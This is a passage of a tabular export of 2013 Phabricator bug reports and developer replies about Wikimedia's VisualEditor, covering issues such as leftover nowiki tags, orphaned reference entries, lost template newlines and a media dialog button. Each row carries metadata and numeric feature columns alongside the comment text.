Marking as INVALID (but we are seeing a small number of these consistent due to people having broken plugins; we're investigating whether there's a way to stop them).",,,1374680186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,1.0,4.0,1.0,8.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,3.0,3.0,11.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,14.0,7.0,0.0,2.0,0.0,8.0,0.0,1.0,3.0,2.0,6.0,0.0,0.0,0.0,3.922222222222222,0.8,"This is almost certainly due to a browser plugin that thinks it's being ""helpful"". Certainly, nothing in VisualEditor or Parsoid understand href=tel: links, so it's not going to come from us. I also can't reproduce locally in Firefox, Safari or Chrome.

Marking as INVALID (but we are seeing a small number of these consistent due to people having broken plugins; we're investigating whether there's a way to stop them)."
253753,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,This may be a VE issue if you are seeing a-href showing up in wikitext on serialization.,,,1374678107,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,3.6,0.95,This may be a VE issue if you are seeing a-href showing up in wikitext on serialization.
53950,VisualEditor: <nowiki> tags not deleted when surrounding element or text is deleted,"User Atethnekos at en.wp reports:
""If in the source code there is <<nowwiki/>blockquote>, and in VE I select ""<blockquote>"" and delete it, when I save the <nowiki/> is left behind in the source code."" 

See https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=565596201&oldid=565596137 for an example in by sandbox. Further testing shows that it also happens with other tags and even with plain text:
https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=565596772&oldid=565596703

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374661620,1374879593.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wg4if5a5jfs6ciuoa7x3,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,11.0,3.0,0.0,4.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,3.6041666666666665,0.6041666666666666,"User Atethnekos at en.wp reports:
""If in the source code there is <<nowwiki/>blockquote>, and in VE I select ""<blockquote>"" and delete it, when I save the <nowiki/> is left behind in the source code."" 

See URL for an example in by sandbox. Further testing shows that it also happens with other tags and even with plain text:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
253282,VisualEditor: <nowiki> tags not deleted when surrounding element or text is deleted,"This is the same as bug 47678, which now fixed in some code we created this week, but unfortunately that has an issue, bug 51948 which is preventing wider deployment. Hopefully we'll get that fixed next week.

*** This bug has been marked as a duplicate of bug 47678 ***",,,1374879593,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wg4if5a5jfs6ciuoa7x3,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,2.0,2.0,0.0,0.0,3.639344262295082,0.6557377049180327,"This is the same as bug 47678, which now fixed in some code we created this week, but unfortunately that has an issue, bug 51948 which is preventing wider deployment. Hopefully we'll get that fixed next week.

*** This bug has been marked as a duplicate of bug 47678 ***"
53938,VisualEditor: Deleting last use of reference should remove the entry from <references>..</references>,"This is related to Bug 51741, which is about adding support for <references>...</references>

If the page already has <references>..</references>, and the last use of a named reference is removed, the entry inside <references>..</references> needs to be removed otherwise an error is generated after save.

Steps to reproduce:
1. https://de.wikipedia.org/wiki/This_Is_War?veaction=edit
2. Delete one of the named references, e.g. [16] at present
3. Save & Review your changes.

Expected results:
The reference is removed from the content and the references list.

Actual results:
The reference is removed from the content, but it remains in the references list, and if saved the error is:
""Cite error: <ref> tag with name ""rockspot_1"" defined in <references> is not used in prior text.""

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374657660,1385395008.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-dbgv7dfw47acis2f72rd,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,3.5,0.5,4.0,0.5,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,9.5,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.5,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,4.5,8.0,1.0,2.5,8.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,1.0,9.5,3.5,0.0,2.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,7.5,3.7835437120149606,0.5940860215053764,"This is related to Bug 51741, which is about adding support for <references>...</references>

If the page already has <references>..</references>, and the last use of a named reference is removed, the entry inside <references>..</references> needs to be removed otherwise an error is generated after save.

Steps to reproduce:
1. URL
2. Delete one of the named references, e.g. [16] at present
3. Save & Review your changes.

Expected results:
The reference is removed from the content and the references list.

Actual results:
The reference is removed from the content, but it remains in the references list, and if saved the error is:
""Cite error: <ref> tag with name ""rockspot_1"" defined in <references> is not used in prior text.""

--------------------------
**Version**: unspecified
**Severity**: normal"
252743,VisualEditor: Deleting last use of reference should remove the entry from <references>..</references>,This was done some time ago; sorry for the slow triage.,,,1385395008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dbgv7dfw47acis2f72rd,task_subcomment,,True,c1,3,True,,,21,,8.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,This was done some time ago; sorry for the slow triage.
53925,VisualEditor: Retain newlines between parameters in transclusion invocations,"Steps to reproduce:
1. https://nl.wikipedia.org/wiki/Dolichognatha_petiti?veaction=edit
2. Click on infobox and edit translusion
3. In the first parameter (afbeelding), add 'blah', and apply changes
4. 'Save' & 'Review your changes'

Result:
 | afbeelding = 
-| afbeeldingtekst = 
+| afbeelding = 
+blah| afbeeldingtekst = 

Expected results:
-| afbeelding = 
+| afbeelding = blah

p.s. [[nl:Dolichognatha petiti]] is currently on the parsoid topfail list
http://parsoid.wmflabs.org:8001/topfails/15

Regarding the actual bug, I saw a similar diff ~20 hrs ago:
https://en.wikipedia.org/w/index.php?title=List_of_Sam_%26_Cat_episodes&curid=39469556&diff=565437324&oldid=565416618

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374642420,1385397595.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-53dxg6rsj6uqcm45wss5,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.5,3.0,2.0,3.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,9.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,3.0,0.5,1.5,0.0,1.0,3.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,6.0,3.420289855072464,0.6304347826086956,"Steps to reproduce:
1. URL
2. Click on infobox and edit translusion
3. In the first parameter (afbeelding), add 'blah', and apply changes
4. 'Save' & 'Review your changes'

Result:
 | afbeelding = 
-| afbeeldingtekst = 
+| afbeelding = 
+blah| afbeeldingtekst = 

Expected results:
-| afbeelding = 
+| afbeelding = blah

p.s. [[nl:Dolichognatha petiti]] is currently on the parsoid topfail list
URL

Regarding the actual bug, I saw a similar diff ~20 hrs ago:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
251794,VisualEditor: Retain newlines between parameters in transclusion invocations,This was fixed some time ago; sorry for the slow triage.,,,1385397595,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-53dxg6rsj6uqcm45wss5,task_subcomment,,True,c1,3,True,,,21,,8.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,This was fixed some time ago; sorry for the slow triage.
251786,VisualEditor: Retain newlines between parameters in transclusion invocations,"And another one reported on en:VEF in case it helps
https://en.wikipedia.org/w/index.php?title=Rebel_Beat_%28Goo_Goo_Dolls_song%29&diff=566058910&oldid=565340967",,,1374979926,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-53dxg6rsj6uqcm45wss5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,"And another one reported on en:VEF in case it helps
URL"
53907,VisualEditor: DEFAULTSORT suggestions should use/not use diacritics on based on wiki policy,"English Wikipedia user PamD comments:
""Editing [[Pikku-Vesijärvi]] I noticed that VE's suggested DEFAULTSORT was exactly the title. VE should be set to drop the diacriticals when suggesting DEFAULTSORT - should have been ""Pikku-Vesijarvi"" with a plain ""a"".""

Looking at some other wikis it seems some do use diacritics in DEFAULTSORT (at least the Czech and Estonian ones do at [[cs:Édith Piaf]] and [[et:Édith Piaf]) so this seems like something that should be configurable based on each wiki's policy.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374609540,1385382898.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-horg3ds56xoznfv445i2,task_description,invalid,True,c1,3,False,False,False,3,,2.0,1.0,0.0,0.5,0.0,5.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,2.0,6.0,1.0,0.5,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,1.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,6.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,14.0,1.0,1.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,6.0,10.0,0.0,3.0,0.0,1.0,0.0,1.5,1.0,0.0,1.5,0.0,1.0,5.5,3.815850815850816,0.7173659673659674,"English Wikipedia user PamD comments:
""Editing [[Pikku-Vesijärvi]] I noticed that VE's suggested DEFAULTSORT was exactly the title. VE should be set to drop the diacriticals when suggesting DEFAULTSORT - should have been ""Pikku-Vesijarvi"" with a plain ""a"".""

Looking at some other wikis it seems some do use diacritics in DEFAULTSORT (at least the Czech and Estonian ones do at [[cs:Édith Piaf]] and [[et:Édith Piaf]) so this seems like something that should be configurable based on each wiki's policy.

--------------------------
**Version**: unspecified
**Severity**: normal"
250417,VisualEditor: DEFAULTSORT suggestions should use/not use diacritics on based on wiki policy,"VisualEditor is not ""suggesting"" a default page sort - the placeholder text informs the user what the page is currently sorted as (i.e., the page's name).

Marking as INVALID.",,,1385382898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-horg3ds56xoznfv445i2,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,13.0,5.0,8.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,3.0,3.8947368421052633,0.7631578947368421,"VisualEditor is not ""suggesting"" a default page sort - the placeholder text informs the user what the page is currently sorted as (i.e., the page's name).

Marking as INVALID."
53905,VisualEditor: Inserting media dialog has no confirmation button,"**Author:** `jduranboger`

**Description:**
screenshot of the bug

Does not appear ""insertar multimedia"" button (insert multimedia), and can't inser image selecting from the dialoge box in the spanish version. This problem happen in firefox 22.

Attached:Screenshot

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC

**Attached**: {F11730}",Needs Triage,90.0,1374608640,1389677471.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fl755yo3ekdckavdhb4b,task_description,invalid,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,12.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.4607843137254903,0.588235294117647,"**Author:** CODE

**Description:**
screenshot of the bug

Does not appear ""insertar multimedia"" button (insert multimedia), and can't inser image selecting from the dialoge box in the spanish version. This problem happen in firefox 22.

Attached:Screenshot

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC

**Attached**: {F11730}"
250356,VisualEditor: Inserting media dialog has no confirmation button,Closing this as no confirmation of report as written. Bug 51911 gets the gist of the issue.,,,1389677471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9473684210526314,0.7894736842105263,Closing this as no confirmation of report as written. Bug 51911 gets the gist of the issue.
250351,VisualEditor: Inserting media dialog has no confirmation button,Sorry for confirming; the UI design should be a separate bug.,,,1374706420,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.923076923076923,1.0,Sorry for confirming; the UI design should be a separate bug.
250345,VisualEditor: Inserting media dialog has no confirmation button,"It does look very bare, and many users will be thinking ""do I need to double click""? (we have MS to thank for that)

I would prefer to select an image, be prompted for a caption (an overlay appears), and then apply changes.  That would partially solve bug 51911, as the user would feel more confident that they had inserted the image, and they would go looking for it.",,,1374703705,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,5.0,9.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,8.0,9.0,1.0,1.0,2.0,0.0,8.0,0.0,0.0,4.0,0.0,2.0,1.0,0.0,0.0,3.541176470588235,0.7176470588235294,"It does look very bare, and many users will be thinking ""do I need to double click""? (we have MS to thank for that)

I would prefer to select an image, be prompted for a caption (an overlay appears), and then apply changes.  That would partially solve bug 51911, as the user would feel more confident that they had inserted the image, and they would go looking for it."
250339,VisualEditor: Inserting media dialog has no confirmation button,Bug/enhancement reported as bug 51911.,,,1374614627,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Bug/enhancement reported as bug 51911.
250334,VisualEditor: Inserting media dialog has no confirmation button,"Maybe you are inserting the image somewhere out of your field of view? For example if there is an infobox in the article, or many pictures aligned to the right, the image you are inserting may be inserted BELOW all this, where you cannot see it.

Regardless of whether this is the actual problem in this particular case, I think that it is a potential problem for others. I tried inserting an image in an article with an infobox, and indeed the image was inserted below it, out of my field of view. This could lead to puzzled users and even unintended bad edits, and I think that the solution is fairly simple: making the VisualEditor scroll the screen down to wherever the image is inserted. I'll report this to the VisualEditor team.",,,1374613964,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,2.0,0.5,4.5,1.5,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.5,3.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,5.0,1.5,1.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,14.0,1.5,1.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,9.5,5.0,6.5,3.5,2.5,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,1.5,0.5,0.0,0.0,7.0,0.0,1.0,3.0,0.0,2.5,0.0,0.0,0.0,4.026666666666666,0.7,"Maybe you are inserting the image somewhere out of your field of view? For example if there is an infobox in the article, or many pictures aligned to the right, the image you are inserting may be inserted BELOW all this, where you cannot see it.

Regardless of whether this is the actual problem in this particular case, I think that it is a potential problem for others. I tried inserting an image in an article with an infobox, and indeed the image was inserted below it, out of my field of view. This could lead to puzzled users and even unintended bad edits, and I think that the solution is fairly simple: making the VisualEditor scroll the screen down to wherever the image is inserted. I'll report this to the VisualEditor team."
250328,VisualEditor: Inserting media dialog has no confirmation button,That button was removed on purpose. You should be able to insert an image by simply clicking on the image.,,,1374608768,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.8636363636363636,That button was removed on purpose. You should be able to insert an image by simply clicking on the image.
53880,VisualEditor: Dragging cursor through multi-part template responds unpredictably in Firefox,"A user - Cryptic C62 - reports on English language Wikipedia:
**
If I click directly on a collapse box (created with {{collapse top}} and {{collapse bottom}}), the transclusion button appears and works correctly. If I highlight a collapse box by clicking and dragging my cursor through it, one of two things happens:

A: A transclusion button does not appear
B: A transclusion button does appear. Clicking on it opens a new template window, rather than editing the existing collapse box.

Occurs in Firefox v21.0, cannot replicate in Chrome v28.0
**

I attempted to replicate this myself and found that I sometimes got result A and sometimes a transclusion button that *did* edit the existing collapse box. I could not get his result B.

I tested it on other templates, and it did not seem that dragging through other templates ever brought up the transclusion button, but never say never. :)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374588720,1385394193.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4r4lbhkxqhogotfzas57,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,1.6666666666666667,3.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.666666666666667,6.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,3.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.0,0.3333333333333333,10.666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,9.0,1.3333333333333333,2.6666666666666665,5.333333333333333,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,5.0,6.666666666666667,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.6666666666666665,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,3.971014492753623,0.6811594202898551,"A user - Cryptic C62 - reports on English language Wikipedia:
**
If I click directly on a collapse box (created with {{collapse top}} and {{collapse bottom}}), the transclusion button appears and works correctly. If I highlight a collapse box by clicking and dragging my cursor through it, one of two things happens:

A: A transclusion button does not appear
B: A transclusion button does appear. Clicking on it opens a new template window, rather than editing the existing collapse box.

Occurs in Firefox v21.0, cannot replicate in Chrome v28.0
**

I attempted to replicate this myself and found that I sometimes got result A and sometimes a transclusion button that *did* edit the existing collapse box. I could not get his result B.

I tested it on other templates, and it did not seem that dragging through other templates ever brought up the transclusion button, but never say never. :)

--------------------------
**Version**: unspecified
**Severity**: normal"
